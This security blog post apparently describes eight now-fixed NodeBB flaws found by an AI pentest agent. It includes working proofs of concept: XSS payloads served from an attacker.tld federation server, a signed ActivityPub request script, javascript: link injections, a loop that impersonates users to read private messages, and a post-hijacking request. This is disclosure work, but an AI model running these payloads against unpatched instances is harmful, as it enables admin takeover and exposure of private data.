{"slug": "finding-eight-high-severity-vulnerabilities-in-nodebb-in-six-hours", "title": "Finding eight high-severity vulnerabilities in NodeBB in six hours", "summary": "Aikido's AI Pentest discovered eight high-severity vulnerabilities in NodeBB versions prior to 4.14.0, including cross-site scripting and authorization bypasses, all exploitable on default instances. The vulnerabilities were fixed in early July after Aikido reported them to NodeBB maintainers.", "body_md": "TL;DR\n\n- NodeBB versions prior to 4.14.0 contain multiple high severity vulnerabilities\n- Upgrade to newer versions to resolve the vulnerabilities\n- Aikido will automatically flag vulnerable instances\n\nWhile improving our [AI Pentest](https://www.aikido.dev/attack/aipentest), we ran a whitebox assessment on NodeBB, a forum software powered by NodeJS. The result? Eight high-severity vulnerabilities that would all be exploitable on default instances of NodeBB. This includes Cross-Site Scripting (XSS), two of which require interaction with a custom Federation server that the AI agent had to set up itself. Another affects practically every input on NodeBB due to a template injection.\n\nApart from these issues, there were clever authorization bypasses to hijack and read various data that shouldn't be public. We've explained all of the interesting technical details below.\n\nAn interesting thing about these autonomous pentests is that they complete their testing in just a few hours. Agents came up with ideas, traced through the code, and rigorously tested with the real application to report real findings. Human-led pentests often take much longer, since they can’t multiply their efforts as easily.\n\nAfter discovering the vulnerabilities, we quickly sent over a report to the maintainers of NodeBB, who were very quick to respond and immediately began working on fixes. The issues were fixed in early July.\n\nWe’ll get into the technical details of the vulnerabilities, starting with some XSS.\n\n## Cross-Site Scripting in custom Federation server profile icon\n\nThis is far from your standard simple Reflected XSS injection, requiring the setup of a whole custom server to respond with a malicious XSS payload. Nonetheless, the agent models we use are great at coding, so they sift through indirection with ease and code up custom servers to test any kind of finding.\n\nIt all starts with [ helpers.common.js](http://helpers.common.js/), which contains quite a lot of red flag-waving HTML concatenations. The one we'll focus on is:\n\n``` js\nfunction buildMetaTag(tag) {\n  const name = tag.name ? 'name=\"' + tag.name + '\" ' : '';\n  const property = tag.property ? 'property=\"' + tag.property + '\" ' : '';\n  const content = tag.content ? 'content=\"' + tag.content.replace(/\\n/g, ' ') + '\" ' : '';\n\n  return '<meta ' + name + property + content + '/>\\n\\t';\n}\n```\n\nIn the `header.tpl`\n\n, each `metaTags`\n\nitem is rendered using the above function:\n\n```\n{{{each metaTags}}}{function.buildMetaTag}{{{end}}}\n```\n\nUser data is passed into `res.locals`\n\ndirectly here:\n\n```\nif (userData.picture) {\n  res.locals.metaTags.push(\n    {\n      property: 'og:image',\n      content: userData.picture,\n      noEscape: true,\n    },\n    {\n      property: 'og:image:url',\n      content: userData.picture,\n      noEscape: true,\n    }\n  );\n}\n```\n\nWhile some other properties like `userData.fullname`\n\nare pre-escaped by converting `\"`\n\ncharacters into `\"`\n\n, the other property `userData.picture`\n\nisn't (see [ accounts/helpers.js](https://github.com/NodeBB/NodeBB/blob/16d176b6ea00614e99f295ae514b983ebdf4b2ef/src/controllers/accounts/helpers.js#L126)). The URL for\n\n`.picture`\n\nis a user-uploaded file which normally points to some safe string like:`/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png`\n\nSo even if this value isn't properly escaped like the `fullname`\n\n, how do we control it to deliver a malicious string containing `\">`\n\n?\n\nThe trick is that this URL can be set arbitrarily when dealing with **Federated profiles**. The concept of federation here is interacting with a decentralized network of other instances having their own users & topics. Data is copied practically 1:1, so if we can return malicious data with a URL that escapes the quoted HTML syntax, we're in.\n\nWe'll have to create a custom federation server that responds to `/.well-known/webfinger`\n\nwith a reference to the XSS user, then return our XSS payload as the `icon.url`\n\nthere:\n\n`/.well-known/webfinger?resource=acct:xss@attacker.tld`\n\n:\n\n```\n{\n  \"links\": [\n    {\n      \"href\": \"https://attacker.tld/ap/actor/xss\",\n      \"rel\": \"self\",\n      \"type\": \"application/activity+json\"\n    }\n  ],\n  \"subject\": \"acct:xss@attacker.tld\"\n}\n```\n\n`/ap/actor/xss`\n\n:\n\n```\n{\n  \"@context\": [\n    \"https://www.w3.org/ns/activitystreams\",\n    \"https://w3id.org/security/v1\"\n  ],\n  \"icon\": {\n    \"mediaType\": \"image/jpeg\",\n    \"type\": \"Image\",\n    \"url\": \"\\\"><img src onerror=\\\"alert(origin)\\\">\"\n  },\n  \"id\": \"https://attacker.tld/ap/actor/xss\",\n  \"inbox\": \"https://attacker.tld/ap/inbox/xss\",\n  \"preferredUsername\": \"xss\",\n  \"publicKey\": {\n    \"id\": \"https://attacker.tld/ap/actor/xss#main-key\",\n    \"owner\": \"https://attacker.tld/ap/actor/xss\",\n    \"publicKeyPem\": \"dummy\"\n  },\n  \"type\": \"Person\"\n}\n```\n\nWith this server listening on `attacker.tld`\n\n, all a victim has to do is search a user on the malicious domain or visit a link directly to it:\n\n[https://nodebb.local/user/xss@attacker.tld](https://nodebb.local/user/xss@attacker.tld)\n\nThe backend fetches `attacker.tld`\n\nfor the `xss`\n\nuser on `/.well-known/webfinger`\n\n, which references `/ap/actor/xss`\n\n. This is fetched, returning the XSS payload, which is rendered directly into the `<meta>`\n\ntag. With the `\"><img>`\n\npayload, it allows breaking out of the HTML and triggering an `alert(origin)`\n\npopup with JavaScript:\n\nThis issue has been fixed ([4c4bf76](https://github.com/NodeBB/NodeBB/commit/4c4bf76d5d387a8944c3cbc2a8cf3c32a0a1aff0)) by escaping the information from Federated sources too.\n\n## Cross-Site Scripting in Federation Errors admin view\n\nWe'll continue on the Federation trend, as another XSS vulnerability was found in the error log for administrators. It is good to note that while only administrators can *see* these logs, any unauthenticated attacker can *store* the payload. Exploiting this one required an even more complex attacker setup than the last XSS, but the agents still figured it out.\n\nThe sink is simple. Inside `errors.tpl`\n\n, the `{./id}`\n\nvariable is embedded into the HTML.\n\n```\n<code>{./id}</code>\n```\n\nWhile not a problem for most templating configurations, in NodeBB, the auto-escaping functionality for Benchpress is explicitly *disabled* here by replacing it with an identity function:\n\n```\n        __escape: identity,\n    };\n\n    function identity(str) {\n        return str;\n    }\n```\n\nNodeBB relies on manually escaping variables passed into templates. One such spot where this is missed is the `id`\n\nof Federation Errors. And how do we trigger such an error, you may ask? We write another custom federation server, of course, but this time a little bit broken.\n\nWe will first set up a server like before, but importantly, generate and serve a public key for signing messages.\n\n`/actor`\n\n:\n\n```\n{\n  \"@context\": \"https://www.w3.org/ns/activitystreams\",\n  \"id\": \"https://attacker.tld/actor\",\n  \"type\": \"Person\",\n  \"preferredUsername\": \"evil\",\n  \"inbox\": \"https://attacker.tld/inbox\",\n  \"publicKey\": {\n    \"id\": \"https://attacker.tld/actor#main-key\",\n    \"owner\": \"https://attacker.tld/actor\",\n    \"publicKeyPem\": \"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\\n2wIDAQAB\\n-----END PUBLIC KEY-----\\n\"\n  }\n}\n```\n\nThen add a `/.well-known/webfinger`\n\nendpoint like before, which returns any account:\n\n`/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld`\n\n:\n\n```\n{\n  \"subject\": \"acct:evil@attacker.tld\",\n  \"links\": [\n    {\n      \"rel\": \"self\",\n      \"type\": \"application/activity+json\",\n      \"href\": \"https://attacker.tld/actor\"\n    }\n  ]\n}\n```\n\nNow that we have a server at `attacker.tld`\n\nwith a key we know, we can send NodeBB updates via the `/inbox`\n\npath. Each `type`\n\nwe send is handled by a specific function in `inbox.js`\n\n. Middleware verifies a signature using `ActivityPub.verify`\n\n, which essentially takes a bunch of attributes from the request and verifies they are signed by the federation server's public key. We made our own server, so that part is easy now.\n\nTo trigger an error, we can take the first one in `inbox.update`\n\n:\n\n``` js\ninbox.update = async (req) => {\n  const { actor, object } = req.body;\n  const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);\n\n  // Origin checking\n  const actorHostname = new URL(actor).hostname;\n  const objectHostname = new URL(object.id).hostname;\n  if (actorHostname !== objectHostname) {\n    throw new Error('[[error:activitypub.origin-mismatch]]');\n  }\n```\n\n`[[error:activitypub.origin-mismatch]]`\n\nhappens when the `actor`\n\nand `object.id`\n\nfrom our request don't match. We can easily forge that.\n\nImportantly, the `id`\n\nwe provide will be stored with the error, and, as we learned, is displayed unsafely as HTML on the Admin Panel. Therefore, we'll set that to an XSS payload like `<img src onerror=alert(origin)>`\n\n.\n\nThe final script looks like this:\n\n```\n# Craft payload\npayload = {\n    '@context': 'https://www.w3.org/ns/activitystreams',\n    'id': '<img src onerror=alert(origin)>',\n    'type': 'Update',\n    'actor': f'https://attacker.tld/actor',\n    'object': {\n        # Different origin than actor to trigger an error path\n        'id': 'https://nodebb.local/post/1',\n        'type': 'Note'\n    },\n    'to': ['https://www.w3.org/ns/activitystreams#Public']\n}\n\n# Build signature\nkey_id = f'https://attacker.tld/actor#main-key'\ninbox_url = 'https://nodebb.local/inbox'\nu = urlparse(inbox_url)\ndate = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')\nsigned = f'(request-target): post {u.path}\\nhost: {u.netloc}\\ndate: {date}'\nsig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()\nheaders = {\n    'Host': u.netloc,\n    'Date': date,\n    'Signature': f'keyId=\"{key_id}\",headers=\"(request-target) host date\",signature=\"{sig}\",algorithm=\"hs2019\"',\n    'Accept': 'application/activity+json',\n    'Content-Type': 'application/ld+json;profile=\"https://www.w3.org/ns/activitystreams\"',\n}\n\n# Send request\nr = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)\nprint('Status:', r.status_code)\nprint(r.text[:200])\n```\n\nAfter sending this payload, it should fetch the attacker's custom server to verify the signature, then the referenced actor. Because the origins of `actor`\n\nand `object.id`\n\nin the payload differ, an error is thrown, and an entry inside the Federation Errors page on the Admin Panel is created.\n\nWhen an administrator now proceeds to visit this page to check for errors, they are greeted with a JavaScript alert box, because our malicious `<img>`\n\ntag was interpreted as real HTML between the `<code>`\n\n:\n\nFrom here, an attacker can take over the whole NodeBB instance, because JavaScript can make an administrator do anything.\n\nThis issue has been fixed ([16bda6b](https://github.com/NodeBB/NodeBB/commit/16bda6b9556c3f50cec994eff7eca185bee59d95)) by escaping all fields displayed in the Federation Errors.\n\n## Cross-Site Scripting via translation Template Injection\n\nThe last XSS vulnerability found was another interesting one. It has to do with how templates are rendered. To return a body, NodeBB essentially goes through these two steps (defined in `render.js`\n\n):\n\n- Render Benchpress template with input variables (syntax:\n`{...}`\n\n) - Interpret translation keys (syntax:\n`[[...]]`\n\n)\n\n```\nfunction renderContent(render, tpl, req, res, options) {\n  return new Promise((resolve, reject) => {\n    render.call(res, tpl, options, async (err, str) => {\n      if (err) reject(err);\n      else resolve(await translate(str, getLang(req, res)));\n    });\n  });\n}\n```\n\nWe've seen what can go wrong with Benchpress in the previous vulnerability already. Now we'll focus on the `translate()`\n\nfunction, which crucially happens *after* our input is rendered into the template.\n\nThe vulnerability already starts here. Because our input already made its way into `str`\n\nby the time translations are run over it, if we can write the same `[[...]]`\n\nsyntax, it would be interpreted. `[`\n\nor `]`\n\nare not treated as special characters by `escapeCharMap`\n\ninside `utils.common.js`\n\n, only `&<>\"'`=`\n\nare.\n\nIn fact, *every page* reflects the URL in a `<meta property=\"og:url\">`\n\nproperty. We can inject a translation key into this very property to see the result. Translation keys are stored per namespace, for example, `topic.json`\n\ncontains `\"flag-user\": \"Flag this user\"`\n\n. If we reference that:\n\n`https://nodebb.local/test[[topic:flag-user]]`\n\n```\n<meta property=\"og:url\" content=\"https://nodebb.local/testFlag this user\" />\n```\n\nIt was successfully interpreted. Some messages are more complex and contain *placeholders* with `%1`\n\nand `%2`\n\n, which we can control via comma arguments. For example:\n\n```\n\"merged-message\": \"This topic has been merged into <a href=\\\"%1\\\">%2</a>\"\n```\n\nSomething interesting is about to happen because the translation contains `\"`\n\n(to define the `href`\n\n), while the context we inject it into is not text, but a meta `content=`\n\nattribute, also using double-quotes to contain its value.\n\n`https://nodebb.local/test[[topic:merged-message,A,B]]`\n\n```\n<meta property=\"og:url\" content=\"https://nodebb.local/testThis topic has been merged into <a href=\"A\">B</a>\" />\n```\n\nBy the syntax highlighting, you can see that what used to be the opening quote for `href=`\n\n, is now the closing quote for `content=`\n\n. That means starting at our `A`\n\n, we're in an attribute definition context and can add any attributes to this tag!\n\nHowever, if we simply replace `A`\n\nwith `onerror=alert()`\n\n, we see a sad sight:\n\n```\n<meta property=\"og:url\" content=\"https://nodebb.local/testThis topic has been merged into <a href=\"onerror&#x3D;alert()\">B</a>\" />\n```\n\nWhile the attribute seems to be passed through, the equals sign (`=`\n\n) has turned into `=`\n\n. Remember? In `escapeCharMap`\n\n, the equals sign is seen as a special character and is always HTML-escaped in output. Therefore, we can’t add *values* to attributes to turn this injection into XSS.\n\nAll hope is not lost, though, since the template we used, `merged-message`\n\n, places our first parameter (`A`\n\n) straight into the `href=`\n\nof this `<a>`\n\ntag. Using a `javascript:`\n\nURI, it is still possible to execute arbitrary JavaScript on click. We just have to do this after our first escape of the attribute by adding another template tag:\n\n`https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]`\n\n```\n<meta property=\"og:url\" content=\"http://4.245.3.4:4567/testThis topic has been merged into <a href=\"A\">B</a>This topic has been merged into <a href=\"alert(origin)\">CLICK&#37;20ME</a>\" />\n```\n\nVisually, there's now a header on the page with the text `CLICK%20ME`\n\n. When clicked, the JavaScript executes and `alert(origin)`\n\nis shown:\n\nWe just proved the PoC on the easiest-to-test reflection, the URL itself. But this works in any output generated by NodeBB. In the URL, we're limited to URL-encoded characters like `%20`\n\n. In the admin-only `/flags?quick=`\n\nendpoint, the value of `quick`\n\nis also reflected, but is URL-decoded!\n\nTo finish up the PoC, we can make it more realistic by using emoji's to look like official icons, asking the user to update with an \"⚠️ Update required\" message:\n\n`https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required`\n\n```\n<span class=\"filter-label\">filter-quick-This topic has been merged into <a href=\"javascript:alert(origin)\">⚠️Update required</a></span>\n```\n\nAgain, clicking the button would trigger arbitrary JavaScript. This was the initial proof of concept the agent used to report the issue.\n\nThe payload can even be stored inside posts on NodeBB, making it easily shared with other users. The underlying issue is that all rendered content goes through a translation pass where user input can write the same syntax.\n\n**Fixing** this issue was more complicated. As we've seen, it is more of a design issue than a specific bug somewhere. Because translations always happen *after* template rendering, and translation characters are allowed in the template.\n\nThe naive fix would be to HTML-escape `[`\n\nand `]`\n\ncharacters to ensure they aren't interpreted as translations. But it turns out that some features/plugins actually *require* being able to render translation sequences from template variables. This would be a breaking change.\n\nFor the initial fix, NodeBB attempted to manually escape every place user input is reflected with `translator.escape()`\n\n. This is not complete, however, so they put in [a lot of work](https://github.com/NodeBB/NodeBB/pull/14341) to refactor the translation system so it *can* be auto-escaped, and fix features/plugins to handle the breaking change properly. This is now implemented in version 4.14.0.\n\nAs an added defence, the HTML coming out of the translator functions [is sanitized now too](https://github.com/nodebb/nodebb/commit/7ef400b311f22dbb1286916247abdb64e1bb369b#diff-82d21ad5dc87c763e168740d57b760145befc618dd0acf49b56b6045a798d8d5), so that even if an attacker controls the text, they cannot write `javascript:`\n\nhrefs.\n\n## Bypassing admin authorization middleware using custom homepage\n\nThis is a simple but clever one. If we look into the middleware of NodeBB, we find this snippet responsible for handling authorization to `/admin`\n\nroutes inside `middleware/admin.js`\n\n:\n\n``` js\nmiddleware.checkPrivileges = helpers.try(async (req, res, next) => {\n  // Kick out guests, obviously\n  if (req.uid <= 0) {\n    return controllers.helpers.notAllowed(req, res);\n  }\n\n  // Otherwise, check for privilege based on page (if not in mapping, deny access)\n  const path = req.path.replace(/^(\\/api)?(\\/v3)?\\/admin\\/?/g, '');\n  if (path) {\n    const privilege = privileges.admin.resolve(path);\n    if (!await privileges.admin.can(privilege, req.uid)) {\n      return controllers.helpers.notAllowed(req, res);\n    }\n  } else {\n    // If accessing /admin, check for any valid admin privs\n    const privilegeSet = await privileges.admin.get(req.uid);\n    if (!Object.values(privilegeSet).some(Boolean)) {\n      return controllers.helpers.notAllowed(req, res);\n    }\n  }\n```\n\nIt all seems correct upon initial inspection. If `privileged.admin.get()`\n\ndoesn't return anything, you're not allowed in. The crucial part is that this middleware is registered for the `/admin`\n\nroute *before* handling custom homepage rewrites in `routes/index.js`\n\n:\n\n```\nrouter.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);\nrouter.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);\n\n// handle custom homepage routes\nrouter.use('/', controllers.home.rewrite);\n```\n\nAny user can configure their homepage to be rewritten to another URL as a feature. This is implemented by another middleware triggered on `/`\n\n. Internally it sets `req.url`\n\nto reflect the configured value:\n\n```\nasync function rewrite(req, res, next) {\u000b  if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {\n    return next();\n  }\n  ...\n  route = await getUserHomeRoute(req.uid, next);\u000b  parsedUrl = new URL(route, 'http://localhost.com');\u000b  const pathname = parsedUrl.pathname.replace(/^\\/+/, '');\u000b  req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname;\u000b  ...\u000b  next();\n```\n\nis called to continue looking up the actual route, but this is now\n\nnext()*after* the admin path checks have already been performed.\n\nThis means if you set your custom homepage to `/admin`\n\n, you'll see the Admin dashboard, even as a regular member. No admin access necessary.\n\nThe only thing \"blocking\" us is some client-side code that fetches the configured value when you try to save it, before actually sending the settings to the server:\n\n```\n$.get(config.relative_path + '/' + settings.homePageCustom, function () {\n  saveSettings(settings);\n}).fail(function () {\n  alerts.error('[[error:invalid-home-page-route]]');\n});\n```\n\nThis check is easily subverted by directly sending a `PUT /api/v3/users/:id/settings`\n\nrequest or using a breakpoint in the browser to skip the check and call `saveSettings()`\n\ndirectly.\n\nAfter setting it to `admin/advanced/cache`\n\n, for example, we can reload the `/`\n\npage and see a bunch of internal information intended for administrators:\n\nEven APIs are accessible via `/api/admin`\n\n, however, most APIs for actually *editing* data go through `/api/v3/admin`\n\n. These are the \"write\" routes, and have additional privilege checks inside each route's handler. They are therefore not vulnerable to this attack.\n\nStill, it results in some significant data exposure/modification:\n\n`GET /api/admin/users/csv`\n\n: Get all users CSV export if exists. Columns depend on what the last admin export chose`GET /api/admin/advanced/errors`\n\n: Read all error logs`POST /api/admin/manage/categories`\n\n: Add remote category to sidebar list`POST /api/admin/uploadlogo`\n\n: Update site logo\n\nThis issue has been fixed ([9885f94](https://github.com/NodeBB/NodeBB/commit/9885f94a2bcaa599c85fb54c4e3302b6b0803633#diff-268a45f8e3c5fba5953593271f7aaed3d91812853a17dea472417fcc17c84bfd)) by re-ordering the middleware to run permission checks after rewriting.\n\n## User ID spoof to read private messages\n\nIn order to communicate with other social networks, NodeBB implements *ActivityPub,* which is a protocol to share users/content across instances. This is made cryptographically secure by giving each user a public key with which they can sign actions. In requests, a `Signature:`\n\nheader is added with attributes like `keyId`\n\nand `signature`\n\n.\n\nThe `ActivityPub.verify`\n\nfunction validates these correctly:\n\n``` js\nActivityPub.verify = async (req) => {\n  ...\n  let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {\n    const split = cur.split('=\"');\n    const key = split.shift();\n    const value = split.join('=\"');\n    memo[key] = value.slice(0, -1);\n    return memo;\n  }, {});\n  const signed_string = headers.split(' ').reduce((memo, cur) => {\n     ...\u000b  }, []).join('\\n');\n  const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);\n\n  return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));\n```\n\nIf we look at where this function is used, we see only its place in the `activitypub.js`\n\nmiddleware here:\n\n```\nmiddleware.verify = async function (req, res, next) {\n  // Verifies the HTTP Signature if present (required for POST)\n  const passthrough = [/\\/actor/, /\\/uid\\/\\d+/];\n  if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {\n    return next();\n  }\n\n  if (req.method === 'POST') {\n    const verified = await activitypub.verify(req);\u000b    if (!verified) {\n      return res.sendStatus(400);\n    }\n  }\n\n  if (req.headers.signature) {\n    const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId=\"'));\n    if (keyId.length) {\n      req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');\n```\n\nInterestingly, it only runs `activitypub.verify(req)`\n\nif the `req.method === 'POST'`\n\n! GET requests don't have their signature verified for some reason. What endpoints can we reach with this?\n\nThere is really only one endpoint that uses `req.uid`\n\nfor authentication, and that is `GET /message/:mid`\n\n. In `middleware/assert.js`\n\nwe read:\n\n```\n!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))\n```\n\nThis endpoint retrieves private messages from `req.params.mid`\n\n:\n\n``` js\nActors.message = async function (req, res) {\n  ...\n  const messageObj = await messaging.getMessageFields(req.params.mid, []);\n  messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);\n  const payload = await activitypub.mocks.notes.private({ messageObj });\n  res.status(200).json(payload);\n};\n```\n\nNow we have the full picture. The `Signature:`\n\nheader is only verified for POST requests, so the `GET /message/:mid`\n\nendpoint does not verify the `keyId=`\n\nattribute. With it, we can impersonate anyone and leak the incremental message IDs one by one to completely compromise private chats.\n\n```\n# Fetch all users\nusers = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])\nusers = [(u['uid'], u.get('username', '?')) for u in users]\nprint(f'Found {len(users)} users')\n\n# Fetch all message IDs for each user\nfor mid in tqdm(range(1, 80)):\n    for uid, name in users:\n        headers = {\n            'Accept': 'application/activity+json',\n            'Signature': f'keyId=\"{uid}\"',\n        }\n        r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)\n        if r.ok:\n            j = r.json()\n            content = j.get(\"content\", \"\")[:80].strip()\n            tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')\n```\n\nThis issue has been fixed ([f6b5cd8](https://github.com/NodeBB/NodeBB/commit/f6b5cd82727b17f9a26fafdb82bf30f1e1a262c8)) by only setting `req.uid`\n\nin a code branch where `activitypub.verify()`\n\nalready verified the Signature header.\n\n## Hijacking posts with pid Mass Assignment\n\nWith all these JSON bodies you're bound to have some Mass Assignment bugs, so that's what the agent looked for next. If you're unfamiliar with this bug type, it is about adding internal fields to your request to overwrite them without the web application intending you to.\n\nThis often happens when a whole request body is parsed and thrown into the database. Are there any patterns like it in this codebase?\n\nHere in the `POST /api/v3/topics`\n\n, endpoint we read:\n\n``` js\nTopics.create = async (req, res) => {\n  const id = await lockPosting(req, '[[error:already-posting]]');\n  try {\n    const payload = await api.topics.create(req, req.body);\n```\n\nIt does exactly what we're looking for, passing `req.body`\n\ninto `topicsAPI.create()`\n\n. The implementation of it later calls `Posts.create`\n\nwhich trusts the given `data.pid`\n\n:\n\n``` js\nconst pid = data.pid || await db.incrObjectField('global', 'nextPid');\nlet postData = { pid, uid, tid, content, sourceContent, timestamp };\n```\n\nThe `pid`\n\nproperty is the Post ID, unique so any post can be looked up via this number. Note that this is slightly different from a *topic*, since one topic can have multiple posts under it (replies).\n\nThe very first post on any NodeBB is always a \"Welcome to your NodeBB!\" post by the admin:\n\nIts ID is always `1`\n\n, and new posts increment from there. What would happen if we created a *new* post that also has `pid: 1`\n\n? Let's try it!\n\n```\nPOST /api/v3/topics HTTP/1.1\nHost: nodebb.local\nx-csrf-token: 77a...65b\nCookie: express.sid=s%3A...\nContent-Length: 133\nContent-Type: application/json\n\n{\n    \"title\": \"title\",\n    \"content\": \"OVERWRITTEN BY ATTACKER\",\n    \"cid\": 2,\n    \"tags\": [],\n    \"thumbs\": [],\n    \"timestamp\": 0,\n    \"pid\": 1\n}\n```\n\nChecking back on the welcome post:\n\nWe've hijacked the post! But the content doesn't seem to be updated yet. Because we own it now, though, we can just quickly edit and save it again to actually update the content:\n\nThe URL is still the same, and anyone who goes back to this post will see the new attacker's content. Combined with a look-alike account, this can be very powerful for poisoning some of the content, like changing malicious commands to copy in some tutorial.\n\nThis issue has been fixed ([7f08fb9](https://github.com/NodeBB/NodeBB/commit/7f08fb95046877d7ceb8d51acd67b0996334a7c9)) by deleting the `pid`\n\nproperty from the request body, so it can’t overwrite the internal field anymore.\n\n## Read all categories without authentication\n\nThis might be the easiest vulnerability in this post. It can be summarized as one sentence: \"/category/{cid}/outbox is missing authorization when ActivityPub accept header is set\".\n\nIt really is as simple as this. The route `/category/:cid/outbox`\n\nis handled by the following function, which doesn't perform authorization checks, but returns all topics in a certain category (including private ones), referenced by an incremental `cid`\n\n.\n\n``` js\nController.getCategoryOutbox = async (req, res) => {\n  const { cid } = req.params;\n  const { page } = req.query;\n  const set = `cid:${cid}:pids`;\n  const count = await db.sortedSetCard(set);\n  const collection = await activitypub.helpers.generateCollection({\n    set,\n    count,\n    page,\n    perPage: 20,\n    url: `${nconf.get('url')}/category/${cid}/outbox`,\n  });\n\t...\n  res.status(200).json({\n    '@context': 'https://www.w3.org/ns/activitystreams',\n    ...collection,\n  });\n};\n```\n\nA simple GET request to /category/2/outbox with an Accept: application/activity+json header to trigger ActivityPub returns an unfiltered list of all posts under that Category ID. Here's a private category we made that only administrators have access to:\n\nWithout authentication, the following content can be retrieved:\n\n```\n{\n  \"@context\": \"https://www.w3.org/ns/activitystreams\",\n  \"type\": \"OrderedCollection\",\n  \"totalItems\": 2,\n  \"orderedItems\": [\n    {\n      \"object\": {\n        \"object\": {\n          ...\n          \"name\": \"secret content\",\n          \"url\": \"https://nodebb.local/post/2\",\n          \"content\": \"<p>SUPER SECRET CONTENT</p>\\n\"\n    }}},\n    {\n      \"object\": {\n        \"object\": {\n          ...\n          \"inReplyTo\": \"http://4.245.3.4:4567/post/2\",\n          \"name\": \"secret content\",\n          \"url\": \"https://nodebb.local/post/3\",\n          \"content\": \"<p>replies too!</p>\\n\"\n        }\n```\n\nThis issue has been fixed ([8e98325](https://github.com/NodeBB/NodeBB/commit/8e98325edf428cda2aa68a1623bc71d11ea7c24a)) by adding a `topics:read`\n\npermission check to the outbox route.\n\n## Upvote inflation by unchecked actor\n\nThis last one is more of a fun one, but could be abused in spam or manipulation. One of the agents found a way to infinitely upvote a post!* (Speaking of infinite… Check out **Aikido Infinite** Continuous Pentesting! ;) )*\n\nThere are 2 ways of upvoting a post (\"Like\" in ActivityPub):\n\n- Directly via\n`/inbox`\n\nor`/uid/:uid/inbox`\n\n, verified with the Signature keyId - Embedded into an \"Announce\" message via\n`/category/:cid/inbox`\n\nIn such a message, you provide an `actor`\n\nwhich represents the person who performed the action. Middleware authorizes this actor with the Signature header's `keyId`\n\n, specifically the `req.body.actor`\n\nfield:\n\n```\nmiddleware.assertPayload = helpers.try(async function (req, res, next) {\n  ...\n  let { actor } = req.body;\n\n  const { hostname } = new URL(actor);\n  const allowed = await activitypub.instances.isAllowed(hostname);\n\n  await activitypub.actors.assert(actor);\n  let compare = await db.getObjectsFields([\n    `userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,\n  ], ['id']);\n  compare = compare.reduce(...).replace(/#[\\w-]+$/, '');\n\n  if (compare !== keyId) {\n    return res.sendStatus(403);\n  }\n```\n\nThis works great for the 1st endpoint, because its `actor`\n\nproperty needs to be verified. Here's an example message:\n\n```\n{\n  \"id\": \"https://nodebb.local/uid/42#activity/like/3\",\n  \"type\": \"Like\",\n  \"actor\": \"https://nodebb.local/uid/42\",\n  \"to\": [\"https://www.w3.org/ns/activitystreams#Public\"],\n  \"cc\": [\"https://nodebb.local/uid/7\"],\n  \"object\": \"https://nodebb.local/post/3\"\n}\n```\n\nHowever, the format for an \"Announce\" message is different, the Like's `actor`\n\nis embedded inside an `object`\n\n:\n\n```\n{\n  \"id\": \"https://nodebb.local/post/3#activity/announce/1717234567890\",\n  \"type\": \"Announce\",\n  \"actor\": \"https://nodebb.local/category/1\",\n  \"to\": [\"https://nodebb.local/category/1/followers\"],\n  \"cc\": [\n    \"https://nodebb.local/uid/42\",\n    \"https://www.w3.org/ns/activitystreams#Public\"\n  ],\n  \"object\": {\n    \"id\": \"https://nodebb.local/uid/42#activity/like/3\",\n    \"type\": \"Like\",\n    \"actor\": \"https://nodebb.local/uid/42\",\n    \"to\": [\"https://www.w3.org/ns/activitystreams#Public\"],\n    \"cc\": [\"https://nodebb.local/uid/7\"],\n    \"object\": \"https://nodebb.local/post/3\"\n  }\n}\n```\n\nBecause both use the same `assertPayload`\n\nmiddleware, the 2nd way using the \"Announce\" format *isn't verified*. The `actor`\n\ncan be any random unique string to act as a new user. Here, the `Like`\n\nobject type is recognized and directly uses `object.actor`\n\ninto `posts.upvote()`\n\n:\n\n``` js\ncase object.type === 'Like': {\n  const id = object.object.id || object.object;\n  const { id: localId } = await activitypub.helpers.resolveLocalId(id);\n  const exists = await posts.exists(localId || id);\n  if (exists) {\n    try {\n      await activitypub.actors.assert(object.actor);\n      const result = 